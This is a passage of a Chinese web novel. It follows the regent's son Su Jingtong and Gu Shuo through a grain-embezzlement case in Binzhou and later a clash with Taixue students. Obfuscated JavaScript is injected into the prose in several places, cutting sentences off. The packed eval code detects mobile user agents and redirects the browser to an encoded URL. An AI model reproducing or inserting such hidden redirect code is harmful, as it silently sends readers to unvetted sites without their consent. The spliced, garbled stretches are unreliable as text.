“至于为什么你要派人盯着张老五——我们滨州府粮食短缺,怀疑有人贪污粮食,于是本刺史派你追查此事,你便着人盯着张老五。”徐锐道。 徐锐斟了一杯茶,递给税课大使,“我们可是为民请命的好官呐。” 税课大使手抖着接过茶,哆嗦道:“是,是。” 被徐锐嘲讽毛头小子的苏景同,这会儿还在睡觉,他是懒鬼,赖床是他的习惯,醒了也不起,在被窝缩着。 弦歌进来硬按着苏景同换了衣裳洗漱见人,“世子别睡了,快起来,出大事了。” 苏景同全程闭着眼,抓紧一切时间补眠。 弦歌伸手扒开苏景同的一只眼,又去扒另一只,苏景同抓紧时间闭上第一只眼,弦歌气笑了,“别赖皮。” 苏景同哼哼唧唧不睁眼,昨晚睡太晚了,他困得要上天。 弦歌低声道:“粮仓大使死了。” “就这事?”苏景同推开弦歌往床上爬,抱着被子打滚,“我要睡觉。” 弦歌扯住他的脚,“这还不是大事?别睡了。” 苏景同困得脑子动不起来,“我很困,你让我睡会儿。” “等你睡醒了,滨州这边证据都抹平了。”弦歌拖着他的脚,试图让他下床干活,“咱们不是要查粮仓吗?” 苏景同使劲把自己的脚抽回去,藏在被子里,“等我睡醒。” “不行!”弦歌很硬气。 苏景同快困哭了,昨晚睡得太晚了,堂堂世子殿下,进学从来迟到一个时辰以上,什么时候睡过这么短的觉?头重脚轻,脑子嗡嗡作响,满眼混沌,别说想事情,他连自己叫什么都快想不起来了,“一个时辰,我就再睡一个时辰!” “嗯?”顾朔掀开帘子进来。 弦歌行礼:“见过郡王殿下。” 弦歌行礼只能放开苏景同的脚,苏景同“呲溜”把脚收了回去,用被子把脚包好,朝左边滚滚,把被子压在右边身下,朝右边滚滚,把被子左边压牢固,最后往回一缩,完美的被子人就套好了,弦歌再不能把他拖出来。 苏景同心满意足,闭上眼睛,头一歪,又睡了过去。 弦歌:…… 顾朔沉默了。 弦歌急得跳脚,睡什么睡,这是睡觉的时候吗?天都塌了。弦歌又上手去抓苏景同,拖不了脚,就从头上拖吧。弦歌两手抓住苏景同的肩颈,正要往起拉,顾朔握住他的手腕,将他的手带了下来。 弦歌:? 顾朔用食指在唇边比了一个“嘘”。 弦歌:?? 顾朔往帘子外走,弦歌只好跟出去。顾朔道:“让他睡吧。” 弦歌:??? “殿下,”弦歌着急,“粮仓大使死了。” “嗯。”顾朔从喉咙闷出一声。 “殿下,”弦歌道:“您别惯着我家世子,他是睡不醒的,打小就这样赖床不起,等他自然醒,得太阳下山。粮仓大使昨夜死了,正等着世子拿主意呢。” “他知道死了?”顾朔问。 弦歌点头,“刚告诉世子了。” “那等他睡醒吧。”顾朔淡淡道。 弦歌:??? 顾朔说:“他心里有数。” 弦歌拜服,他真是皇帝不急太监急。 顾朔承认,他低估了苏景同的睡眠。他本以为弦歌那句“等他自然醒得太阳下山”是夸张手法,意图突出苏景同的赖床,没想到居然是写实。 太阳落山,睡了一天的苏景同才不紧不慢地睁开眼睛。 在他沉睡的白天,粮仓大使的恶行被昭告滨州,滨州刺史徐锐痛哭流涕向灾民表示是他御下不严,朝廷的赈灾粮已经到了,他这就去请示郡王大皇子和摄政王世子,为大家开仓放粮。徐锐还迅速要典史完成线索、立案、审查、审理四个环节,当天就了结此案。 大皇子稀里糊涂,以为终于抓到贪污粮食的蛀虫,十分庆幸昨天没完全苏景同的话,对滨州刺史连连赞许,还要给他表功,现已经和滨州刺史畅饮去了,他也非常自如地抢过和滨州刺史对接的事,打算和滨州刺史徐锐共同完成赈灾。 苏景同一睁眼,就对上弦歌怨念的眼神。 “干嘛这样看我?”苏景同优哉游哉起身,睡饱了,精神头又好起来了,苏景同又能上蹿下跳了。 “哼。”弦歌说:“黄花菜都凉了。” 苏景同不疾不徐地洗漱,好似全然没把弦歌的话听进去。 “唉。”弦歌唉声叹气,他是凉州人,年幼时凉州闹蝗灾,据说凉州当时也有囤粮,不过被凉州官员倒卖了。大家都活不下去,吃光了野草树皮,吃地上的土,等实在没得吃了,就易子而食。他爹娘舍不得让他当食物,就卖有钱人家当奴才。等弦歌偷偷攒了钱粮跑回去看爹娘,一家子早饿死成了白骨。 眼见滨州步了凉州的后尘,弦歌恨不能把每个贪赃枉法的蛀虫都拉出来绞死。 “行了,”苏景同把擦脸帕子丢弦歌怀里,“去请郡王,本世子给你变个戏法。” 23.回忆结束 苏景同的戏法,倒也简单。 苏景同抽出一本杂记,放在顾朔面前。 这是粮仓大使写的杂记。 顾朔翻开,这里面记载得乱七八糟什么都有,有同僚的桃花八卦,有上官的喜好分析,还有粮仓的事。 单凭粮仓大使一个人,想把粮仓中的粮食悄无声息地运出去倒卖掉,是完全不可能的。他们的手法不算多高明。手法一,称粮时用的称动手脚,克扣粮食据为己有。手法二,用低价收购的次粮替换今年新收的好粮,再把好粮高价卖给粮商,赚差价。手法三,已经在粮仓的粮食,以发霉变质等理由低价处理卖给自己人。手法四,援助其他州时,谎报捐助石数…… 均是简单手法。 但胜在天高皇帝远,负责看守粮食的粮仓大使行动,负责检查粮食情况交粮交税的税课大使是同伙,负责监督粮食情况的巡检包庇、负责办案的典史毁掉相关线索,最后有滨州刺史做靠山。滨州这个远离权力中心的小州府,自成体系,完成了简单又环环相扣的侵吞粮食计划。 他们找了个口稳靠谱的中间人,由张老五出面对接,借口张老五小偷小摸,把粮食运走。中间人再将粮食卖给粮商。各个环节上的官员始终藏在阴影中,不曾露面。吞来的钱滨州刺史拿四成、粮仓大使拿三成、税课大使、巡检、典史各拿一成。 至于张老五,他的钱是粮仓大使给。 弦歌愣住,“这也能找到?” 杂记属于实打实的证据,理应和账本一起被烧掉。 “粮仓大使和这个环节中的其他人不同,他是直接负责看守粮食的,粮仓出问题,别人都可能脱身,他不行。做掉头的买卖,他又是必不可少的环节,他从一开始就在防备将来出事以后自己会被推出去一个人扛罪,所以准备了很多证据,等着将来威胁滨州刺史或者这个环节的每个人,逼他们出事后救自己。”苏景同慢吞吞说。 “所以他没烧。”苏景同道。 “至于我是怎么得到的。”苏景同笑起来,“我们大张旗鼓来滨州赈灾,对方早有防备,等我们的人真到,我怎么查的出东西来?傻瓜才会在来了以后才查。” “我们还没启程时,我叫摄政王府的人八百里加急赶来滨州,把当地刺史、粮仓大使、税课大使、粮仓看守人、当地大型粮商的家都查找过一遍了。咱们带着粮食,走不快。他们行动未必就能在摄政王府的人到之前完全抹平。这本杂记就是这时候拿到的。” 弦歌傻眼,还能这样? “当然,”苏景同懒洋洋地白了他一眼,“你好歹跟了我几年,我爹什么习惯你不清楚?他怎么可能真同意我只带着你出门。你连武功都不会。” 弦歌:…… “粮仓大使丢了杂记,又知道咱们还在路上,自然会怀疑刺史等人前来盗走,铁了心要送他当替死鬼。情急之下,会想办法反扑,比如联系下游的人——也就是中间人,不着痕迹地让他知道这条环节上还有刺史他们。等咱们到了,开始查案,他被推出来,还有个中间人能替他作证。又或者运气好一点,他的威胁能生效,刺史徐锐能拉他一把。” 苏景同又掏出一份名单,“这是中间人以及交易的粮商名录。” “还有粮食进出账,我根本没找。粮食进出账是要备查的,他们几年前就一直造假,有没有真的进出账,很难说。”苏景同扬起一条眉毛:“蠢货才会在别人已经造假的东西上反复纠结。” 顾朔沉默地看完所有内容,“你很了解滨州?”还没来赈灾就知道粮仓出问题,提前准备。 “不,”苏景同耸肩,“本世子头一回出远门,怎么会理解滨州这地方。”苏景同淡淡道:“我只是了解人性。” 弦歌总觉得哪里不对劲,但又说不出来,明明苏景同一切都预料到了,也赶在滨州刺史动手前拿到了证据,但弦歌心里怪怪的,好像有什么事情被遗漏了。 顾朔替他说出了疑点,“既然世子早有准备,为何要等到今天才拿出来?”一进滨州,就可以行动。 苏景同摊手:“自然是因为今天凌晨才把事情都办完。” 苏景同藏了半句没说,他想顺便看看大皇子和六皇子是什么样的人。 其实到他们进滨州时,苏景同已经找出了中间人,只剩交易的粮商还没查完,一进滨州就抓人也无妨,剩下那些没查完的粮商可以慢慢查,跑不了。只不过苏景同突然很想看看大皇子和六皇子到底是什么样子的人。 他爹总说,天下有能者居之。他爹认为自己是天下最有才能的人,很值得黄袍加身君临天下。 苏景同相信他爹的理论,从来没觉得谋朝篡位有什么不对。尤其是当他看到周文帝整日醉生梦死、流连花丛,问他治国他吭哧半天答不出一个字,问他胭脂膏子怎么制作他能津津有味讲一天,周文帝怎么配当皇帝呢? 反观他爹,焚膏继晷夜以继日处理国事会见文武大臣,接见外宾,总是忙得连陪他说话的功夫都没有,全年只有过年那日能休息。 苏景同在很长一段时间内,都坚信他爹更合适。 只是赈灾一路从京城到滨州途径两千余里,沿路见了各州情况风土人情,走了小半个国家,居然没见到一处百姓过得好。苏景同有了新思考:他爹治理国家十余年,大周越来越穷,百姓越来越苦,他爹将来若是篡位,当真是好的么? 苏景同不敢想后果。 又忍不住想另一条路,也许不篡位,会有更好的结局。 于是当他看到顾朔有条不紊地安排赈灾时,收起了杂记和中间人信息,他需要一点时间,来确定哪一条更好。 六皇子适不适合当皇帝还需要再观察,但大皇子想必不适合,他的脑子装满了浆糊,又或者挤满了大海,还不如他亲爹苏季徵靠谱。 后面的事就顺理成章了,拿下滨州刺史等相关人员,大皇子虽然想看在外祖父的面子上留徐锐一条性命,摄政王把造反写脸上,摄政王世子苏景同耳濡目染颇为嚣张,无视大皇子直接下杀令,并且在闹市口处斩,请流民观看,以平民愤。 顾朔正式接管滨州,他办事十分有条理,心中有丘壑,脑中有框架,赈灾繁复琐碎,在顾朔手中却显得井井有条。修复堤坝、清理水患肃清积水、加固房屋建筑、新建土木、以工代赈施粮施银、保障老幼女残的正常生活、农田修复…… 顾朔等人在滨州待了半年才回到京城。功劳自然落在大皇子名下,差使办得漂亮,大皇子在朝中风生水起,立太子一事重提。熙郡王顾朔则照旧在府中读书。 一切都如同周文帝设想的道路前进。 至于摄政王,他欢天喜地庆祝独生子平安归来,还不知他平常就不听话的儿子,经此一役会更加叛逆。 回忆到这里,顾朔心中有些感慨,滨州赈灾的事,已经过去九年,当年稚嫩青涩神采飞扬的小世子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏景同盘腿坐在一旁,他伸手摸索着把自己丢在地毯上的毯子抓过来,随便在身上搭着,守夜太监通常是不允许睡觉的,要守一整夜,但苏景同白天辛苦工作,若晚上再不睡,铁打的人也熬不住。 他没把规矩放心上,但此刻怕是睡不着。 苏景同悄悄睁开一只眼睛,借着博古架上夜明珠的光,偷摸儿看顾朔的睡颜。顾朔的眉眼清雅俊逸,在战场厮杀多年,染了几分英气和寂寥。铁血将军、君子风骨、帝王威仪。 周文帝那丑货,竟也能生出这般俊俏的儿子,真是祖坟冒了青烟——顾朔定是随了亲娘。 苏景同暗暗叹息,可惜他没见过仪贵人,想必是个倾国倾城的大美人。 苏景同本以为他俩聊到过去,他会满怀心事,彻夜难眠,谁料没坚持一会儿,便困意上涌,沉沉睡去。 他是真累了,自从手筋断了以后,他体力急速下滑,有时坐着都能睡着,何况平日赖床到正午的人,今天早上天不亮就起床,中午又没午睡,能熬到这会儿,实属不易。 苏景同头一歪,半倒在地上。 晚膳前,殿中熏过安神香,量不多,味道极淡,檀香、沉香、肉豆蔻的气息混合在一起,慢慢在殿中弥漫。 顾朔静静等了片刻,睁开眼睛,苏景同已经睡熟,歪倒在地毯上,怀里抱着他毛茸茸的小毯子。 顾朔下床,轻手轻脚把苏景同抱起来,放在床里面,顾朔躺在他身旁。苏景同睡梦中感受到顾朔的气息,咕哝一声,像三年前一般习惯性滚进顾朔怀里,头埋在他肩颈,蹭了蹭,不动了。 顾朔无声地笑了笑,温柔地亲了亲苏景同的额头,将人搂在怀里,拉上被子。 晚安,小骗子。 24.相拥 夜色变浅,顾朔睁开了眼,低头看苏景同,他还靠着顾朔的胸膛,睡得正香。顾朔没起身,就维持着这个姿势。现在刚到卯时,距离苏景同起床还有半个时辰。 顾朔摩挲着苏景同的长发,原先光泽柔顺的长发,现在摸起来有些粗糙,不知是他吃得太少,还是心里太沉。 苏景同的睫毛粗长卷翘,合上眼宛如蝴蝶垂翼。 他睡颜很乖,周身的锐利气势全消,显得人畜无害,很邻家小孩。 顾朔亲了亲他的脸蛋,从前只道他张牙舞爪的是个炸毛小狮子,自信上天,从头到脚写满了“本世子就是牛哇,不服来干”,原来心里竟装了这么多的敏感、这么多的不确定。 秋冬太阳出的晚,顾朔静静看了苏景同小半个时辰,月亮才慢慢落山。 再有一会儿功夫,潘启就该进来唤他准备上早朝了。 顾朔掀开被子,把苏景同的小毯子拿过来,裹在他身上,又轻手轻脚地把他放回地毯上,慢慢扶着他的头靠着地毯上。 苏景同不习惯地动了动。 顾朔屏住呼吸,一动不敢动。 殿中的安神香还在散发着余威,顾朔等了半晌,苏景同没有再动的意思,顾朔在心底轻轻叹了口气,轻轻抽回手,躺回床上。 潘启小心翼翼进来,苏景同还没醒,顾朔冲潘启摆手,示意他别出声,潘启会意地点点头,没叫其他宫人进来,自己取了衣裳伺候顾朔更衣。 两人避开苏景同睡的地方,没敢点燃蜡烛,黑灯瞎火地换了衣裳,又蹑手蹑脚出门洗漱束发。 直到天光微熹,早膳上桌,顾朔走回卧房,站在苏景同面前,苏景同还在睡,并且在地上滚来滚去,毯子被他滚的压到身下。 顾朔头疼,苏景同的睡相是改不了了,只要没被人搂着睡,就滚来滚去,但凡身边少个夜里伺候的,都该着凉了。 顾朔咳嗽了一声。 苏景同抱着毯子翻了个身,毯子的一角软趴趴搭在他身上。 顾朔又咳嗽了两声。 苏景同抱着毯子翻回来。 顾朔哭笑不得,用脚点了点他,“醒醒。” 苏景同咕哝几句,顾朔听不清,估摸是赖床不起之类的话。 “醒醒。” 苏景同闭着眼睛拉起毯子,盖住耳朵,不起不起就不起。 顾朔双臂抱胸,“小太监,你知道现在是什么时辰了吗?” 苏景同不舒服地动了动耳朵,小太监? 谁是小太监? 喊小太监起床找我干嘛? 苏景同把毯子又拉高,这次连头顶都盖住了。 顾朔冲潘启点头,潘启一溜烟儿进来,笑着把苏景同的毯子拉下来,低声凑到苏景同耳边道:“世子爷,该起啦。” 潘启趁机把苏景同从地毯上扶起来,人都坐起来了,苏景同不情不愿地睁开眼,眼睛里还残存着睡意未净的红。 苏景同睡懵了,抱着毯子发呆,眼睛不聚焦,茫然地睁开。 好半天,苏景同的脑子才回笼。 这是哪来着…… 苏景同眯起眼睛,看着有点像……呃,广明宫? 苏景同低头,抓起毯子,咦惹,又糙又劣质,嫌弃地扔一边。 他挠挠头,还没醒,身子后仰,又躺在了地毯上,还是接着睡吧。 顾朔看着他一连串的动作逗笑,起个床怎么这么费劲呢。 潘启也没辙了,用眼神请示顾朔,还要不要接着叫醒,早膳已经上桌了。 顾朔颔首。 潘启硬着头皮去摇苏景同,“世子爷,醒醒,到点了。” “别吵……”苏景同有点委屈,干嘛呀不让人睡觉。 苏景同想抗议两句,睁开眼,对上了已经换好龙袍,束好头发,戴着冠冕,威严地站在一旁的顾朔,顾朔正居高临下地看着他。 苏景同:? 我在哪来着? 哦豁! 苏景同低头瞧了瞧自己,头发睡得乱糟糟,衣服也被压皱,屋里点起了烛灯,宫女太监们早收拾完毕,在卧房外走来走去干活,只剩他,还衣冠不整,主子起床,自己还在睡。 “我……”苏景同脑子卡壳。 顾朔道:“晚起,扣半日月钱。洗漱换衣裳去,换好了过来吃饭。” 苏景同拖拖拉拉爬起来去换衣裳,慢半拍地想:我还有月钱呢? 吃饭时,苏景同昏昏沉沉,还沉浸在困意中不见转圜,从睡梦中惊醒后五脏有轻微的不舒服感,胸闷气短恶心想吐,大夫说人睡着后五脏在排毒,苏景同漫无边际地想:是不是他睡眠不够,五脏六腑正排毒呢,被惊醒,强迫中止排毒,所以不舒坦。 苏景同有一搭没一搭用饭,算起来有三年没睡这么沉过,不自在地动了动肩颈,还以为睡地上肩颈会不舒坦,没想到好好的,还睡得很暖和很安心。 一晚上好似连梦都没做。 久违的舒坦。 真不错。 苏景同有些爱上守夜的活计。 太学府中,霍方和谢永章正坐勤学堂内,在互相对着对方冷笑。 霍方自从昨天在苏景同这儿上了一下午课,今天一大早来到勤学堂,等着要说自己的答案。谢永章一晚上没睡,天蒙蒙亮,便来学堂待着。这二位斗鸡眼仇人相见分外眼红,一如既往互相开嘲讽,谢永章嘴笨,被霍方三两句掐住逻辑漏洞,气成河豚。 苏景同溜溜达达来上工,有了昨天的教训,太学的学子们今日消停许多,至少没一见到苏景同就喊打喊杀了,苏景同赞叹不愧是太学学子,虽然脑袋晃一晃全是水,但一晚上不见大海中居然长了些许脑子,真是孺子可教可喜可贺。 苏景同才进勤学堂,谢永章便迫不及待开嘲讽:“苏景同你为人师表怎地如此怠惰,你看看现在什么时辰了?” “说什么傻话呢?”苏景同拖着摇椅进来,安置在勤学堂,自顾自躺上去,“我是小太监。” 勤学堂的学生几乎来满了。霍方推开谢永章,“你昨天说的最后一个错误,我想到了。” 苏景同打了个哈欠,“嗯。” “为什么我们的把戏如此拙劣,甚至不如乡野孩童的水平,”霍方正经道:“因为我们没有正确的评估自己,忽略了长处和优势。我们不擅长恶作剧,但乡野孩童擅长。我们在做自己不擅长的事。” 霍方说得斩钉截铁,他们太学府的学子,最差也是士族出身,不喜欢老师,只消提一嘴,便能换掉,无需恶作剧。瞧哪个仆役不顺眼,打发出去便是,没得自降身份和仆役过不去。 苏景同太监身份,圣旨命他来此,他们打发不掉,又存心整他出气,才有此下招。从未做过恶作剧捉弄人的诸位公子哥们,只从折子戏画册等处见过这些把戏,便有样学样。 谢永章喉头动了动,没敢说他的答案。他想的是,他和霍方不该亲自上阵捉弄苏景同。他俩没有合理利用自身资源。他俩是什么身份地位,随便差遣两个人做便是,君子不立危墙之下,他俩却十分不体面地亲自去做,把自己搭进去了。 只是在场的勤学堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14923000|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学生,正好是他“随便差遣”的人,只得闭嘴。 苏景同瞧了谢永章一眼,没跟他搭话,对霍方道:“是。两军交战,要全面评估双方水平,知己知彼百战百胜,这句说烂了的话我就不啰嗦了。” “好了小朋友们,过家家时间结束。”苏景同又打了个哈欠,昨晚睡得太舒坦,苏景同还在回味。 谢永章拍桌子,愤怒道:“你才是小朋友。” 苏景同不紧不慢道:“文和21年,瓦剌来袭,势如破竹,一日攻下我国西北边塞之一的锦州。” 勤学堂鸦雀无声。锦州是军事要塞之一,位于大周西北边界,是守大周的重要的门户,看守锦州的承影军在大周军队中实力不容小觑。大周国力虽然每况愈下,到底天府上国地大物博,众人对国家的军队还抱着期待。谁知守在锦州的承影军居然不堪一击。 瓦剌来袭,开启了大周乱战的序幕。 瓦剌军本可以长驱直入,但天佑大周,一年前正逢顾朔沦为苏景同的嬖人,文和21年恰好苏景同玩腻了想把人扔掉,周文帝原定要把顾朔流放岭南,岭南内乱,苏景同便安排顾朔改去了西北,被流放到西北的顾朔赶到,收拢承影军,在风雨飘摇中撑起了大周西北的兵防。 “据抓到的瓦剌将领交代,在瓦剌动手前,他们有长达八年的时间研究锦州布防和承影军情况。瓦剌派出的探子几乎把锦州穿成了筛子,”苏景同唇齿间冒着寒意,“他们了解锦州的每一寸地形气候,锦州的布防安排,粮草情况、探查了承影军每个将领的习性、性格弱点、排兵布阵喜好、内部分歧……凡此种种不一而足。” 谢永章身后冒起冷汗,在大周的土地上,瓦剌周全至此,锦州那八年是吃干饭的么? 苏景同从袖子中抽出三卷纸,丢在桌子上,“这是锦州的地形图、兵防图、军备运送线路图,看在你们第一次正式上兵法课的份上,锦州的三图我替你们准备,以后需要你们自行筹备。” “从今天起半月,你们的功课是,假如你们是锦州将士,你们要如何保住锦州?”苏景同大发慈悲道:“给你们降低点难度,就把时间定在陛下和姜时修去西北以后吧。” 众学子面面相觑,光给个地形图、兵防图、军备运送路线图有什么用,瓦剌那边的情况还不清楚呢,且他们对兵法的理解,仅来自于流传颇广的兵法书,一个月能做出什么东西来。 苏景同不管他们,把那三卷纸丢下,便闭目养神。他实在没精神,早上的困意到现在都不曾消解,可惜这里没床,摇椅终归不如床舒坦。 “苏景同,你搞错了一件事。”霍方冷淡开口。 他的语气凉薄,苏景同掀开一只眼皮,“嗯?” “我们听你安排反思昨天恶作剧失误的原因,是因为我们错了,需要反思,”霍方冷淡道:“不是因为我们把你当老师。” 苏景同饶有兴致地问:“然后呢?” 霍方站起来大义凛然道:“你为人臣子,叛国卖主;为人子女,不孝忤逆;纨绔荒诞、不敬圣上;不忠不义、不孝不悌、狼子野心、贪欲无极、玩弄权术、残害忠良、为一己之私搅弄风云,让大周不得安宁,让数万将士为你的野心送命。” 霍方取出一份长绢帛拉开,上面密密麻麻写满了名字,霍方恨恨道:“这是大周阵亡的将士名单。” “苏景同——”霍方喝道:“你看着这份鲜血淋漓的名单,你有何颜面站在太学府教圣贤书?!” “你配吗?”霍方怒斥。 苏景同掏掏耳朵,他突然后悔了。 25.刺激 方才他还在夸赞太学府学子长了些许脑子,夸早了。 霍方冷哼道:“笑什么!” 苏景同耸肩:“你四字词用得不少。” 霍方是万里挑一的才子,居然得到一句“四字词用得不错”的评价,一时间一口气憋在胸口,上不去下不来,也不知是夸是骂。 苏景同懒洋洋躺好,“不过呢,我配不配给你当老师,得问祭酒的意思。” “什么?!” 苏景同幽幽道:“你傻了吗?我是勤学堂的老师,你是明德堂的学子,你来蹭课蹭得脸太大了。” 霍方呛住,居然忘了这里是勤学堂! “你昨天今天逃学的事,我会转告明德堂的学士。”苏景同合上眼,“慢走不送。” 霍方:!!! 谢永章噗嗤笑出声,霍方眼刀子扫来,谢永章冲他挑衅地做鬼脸,霍方恨恨收起绢帛,咬牙道:“苏景同,我等着你的报应。” 苏景同没接话,他安详地好似睡着了。 霍方一拳打在棉花上,怄得想喷血,气得脑子过热,咬牙切齿地要走。 谢永章闲闲伸出手挡住霍方的去路,从他手中抽走写满阵亡将士的绢帛,绢帛用蝇头小楷书写,尽管努力压缩大小,力求在绢帛上书写更多名字,但阵亡将士太多,密密麻麻写满了,也不过写了不足百一。 “胡二三、赵狗蛋、许大……”一个个名字从谢永章口中念出,这怪异可笑的名字,代表着一个个底层百姓,他们或许长这么大没吃过几顿饱饭,没穿过一件合身的衣裳,但敌国来袭,却用血肉之躯组成铜墙铁壁。 谢永章念不下去,“苏景同,霍方不是勤学堂的,本世子是。” 霍方停下脚步,诧异地看着谢永章。 “看什么看?”谢永章翻白眼,“就你有文人风骨?就你忠肝义胆?” 霍方挠头。 谢永章磨着后槽牙,质问苏景同,“在学子圣地讲学,你配吗?” 勤学堂的学子声援谢永章,跟在他后,一叠声问:“你配吗?” 声音此起彼伏,吵得苏景同没法睡觉,“不想上课就出去,吵什么?” 谢永章冷笑:“本世子凭什么出去,你才该滚。” “你让我滚?”苏景同问。 谢永章叉腰:“是本世子说的,你要反抗?” 苏景同抬抬下巴,“你们也要我滚?” 勤学堂的弟子异口同声:“滚!” “好嘞!”苏景同眼睛放光,从善如流,立刻起身,拖着摇椅出门,把摇椅丢回原处,欢天喜地下工。 谢永章不错眼地盯着苏景同的动作,只见他全无一点不高兴,脸上那股子讲学的死气沉沉一扫而空,脚步都雀跃起来,兴高采烈向太学府外走去。 谢永章终于意识到苏景同在高兴什么——他不用干活了。这人全没一点羞耻心,被赶出学堂,不反思自己的行径,竟然还有脸高兴!人怎能不要脸到如此程度! “站住。”谢永章发话。 苏景同充耳不闻,再不快点下工回宫,就得被留下来干活了。 “你就这么走了?”谢永章质问,“你有没有师德?” 苏景同才不搭话,脚下生风快步离开。今天早点下工的话,可以去左正卿那边转转,要点银子花,顾朔太小气,拢共2两银子的月钱,迟起一会儿扣半日月钱,他哪能准点起来,这不得天天扣么? 1两银子够干什么。 小气鬼。 他给自己当嬖人的时候,自己可从没短过他银子花,摄政王府的内库钥匙都给他了。 眼下初冬时节,他还用凉水洗漱呢——宫里的炭火要花钱买,他还没领月钱,一个铜板都没有,烧不起热水。洗澡都不能指望了,他住的小屋,站着都费劲,哪能放下浴桶。 唔,可以顺便去左正卿那儿洗个澡,再顺两套衣裳。 再顺点木头和弦吧,好久没做琴,手痒了。 笔墨纸砚也顺点吧?每年春天左正卿都要亲自做三刀纸,他做的“雀栖花”香气馥郁冷艳,他宝贝他的纸,舍不得给人,应当还有存货,可以顺一刀回去练字。 苏景同想得出神,谢永章转念以为他在拿乔,自己才说了滚,他立刻就滚,故意装得满不在乎,是为了维护自己的尊严体面吧?这不是使性子闹脾气么?所以才走得这般干脆,估摸等着人赔罪请他呢。 啧,还没从摄政王世子的架子中走出来呢。 谢永章哼笑道:“别拿乔了,你以为你很稀罕吗?” “四大军师之一,”谢永章肆无忌惮开嘲讽:“在康宁侯面前,你连半月都坚持不到就兵败如山倒,你也配和康宁侯并称?评四大军师的人怕是瞎了眼,看脸选的吧。你不讲有的是人能讲。你知道康宁侯最近在做什么吗?” 苏景同心道:左正卿现在做什么他不知道,但左正卿马上就要忙着防小贼偷“雀栖花”了。 “康宁侯在找姜时修姜大军师。” 这是个什么新奇事。苏景同没在意。 “姜时修论兵法谋略,远胜于你,论人品风骨,强你百倍。”谢永章不无得意道:“且他和陛下心意相通、情谊甚笃。” 心意相通? 情谊甚笃? 苏景同愣住,谢永章在说什么玩意儿? 终于见苏景同变了脸色,谢永章高兴起来,这才对嘛,就该如此。他乐颠颠道:“你还不知道吧,姜时修和陛下一同征战西北,食则同桌、寝则共榻、抵足而眠。他们才是真知己、真爱人。若非姜时修失踪,此刻我大周君后都有了。” 谢永章刺激道:“等康宁侯把姜大军师找回来,哪里还有你的立足之地?” 勤学堂的其他学子们脸色也有些疑惑,他们只隐约听过当今陛下和姜时修的传闻,八卦讲得含含糊糊,兼之顾朔和姜时修的事发生在西北,鞭长莫及,知道的不是很分明。 谢永章讲来,却言辞凿凿,仿佛确有其事。 “本世子好心提醒你,”谢永章双臂抱胸:“本世子若是你,现在就夹紧尾巴做人,早日找个靠山保自己。陛下留你一条狗命,可不是对你余情未了,而是陛下宽宏大量,你若是不识好歹,连太监的本分都不尽,别怪本世子给你难堪。” “苏景同,你好自为之吧。” 路的两端,谢永章立在勤学堂的屋檐下,苏景同在路的尽头与他遥遥相望。谢永章的声音被风吹了过来,断断续续,苏景同听得不甚分明,他看到谢永章的唇在开合,应当是说话,可那声音却死活进不了他的脑子。 他耳朵里只剩嗡嗡的八个字,“心意相通、情谊甚笃”。 呼啸的风,卷起地上的最后的残叶,在空中打转。 宫女太监们清扫着广明宫前的落叶,顾朔今日下朝早,正在盘问江天——苏景同今日早早从太学离开,游魂似地飘去康宁侯府找左正卿,又魂不守舍地回宫,把自己关在他那狭窄幽暗的小房间中,再没出来。 眼见是心情不好。 江天一板一眼传达今天发生的事。 谢永章不知从哪听来了顾朔和姜时修的往事,除了“心意相通、情谊甚笃”八个字,谢永章担心苏景同对这八个字的体会不够具体,专门挑拣了几件往事说给苏景同听。 一是顾朔才去西北收拢承影军时,承影军缺军师,姜时修风尘仆仆拦在军队前,要自荐。顾朔见他脸庞稚嫩,身量瘦小,是个还没大长成的少年,不大想用他。 姜时修噗通跪下了,把包袱献给顾朔。他是新州人士,他家条件普通,他少年时期得了场重病,几乎要了命,药钱如流水,家里几次犹豫想放弃治疗,是顾朔来新州当郡王,锐意改革,新州有了大夫义诊制、官府提供廉价药材,才保住了他的命。 这些年新州发展好,他家条件好了,过得宽裕,攒了一笔小钱。姜时修听闻熙郡王要流放西北,担心他银钱吃紧,特意带着全身积蓄从新州千里迢迢赶来报答。 如果不能留下当军师,把银钱留下,换些军备,也是好的。 新州百姓长途送别,是顾朔心底最柔软的地方。一听姜时修是新州人士,顾朔便改了主意,纵然不得用,留下叫他历练历练也好。 姜时修新人才入军营,衣食住行都不大适应,顾朔便把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14930403|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带在身边照顾。 姜时修对怎么打仗有很多想法,他纸上谈兵,却很有可行性。顾朔起初没当回事,仔细听了一回,茅塞顿开,仿佛寻觅到了知音,姜时修的想法与他不谋而合,且能将想法落到实处,两人天造地设的君臣,聊起来滔滔不绝,谁都没有停下的意思。 吃饭聊,饭后聊,一直聊到深夜,都依依不舍,未曾想停下,于是抵足同眠,彻夜相谈,感情突飞猛进。 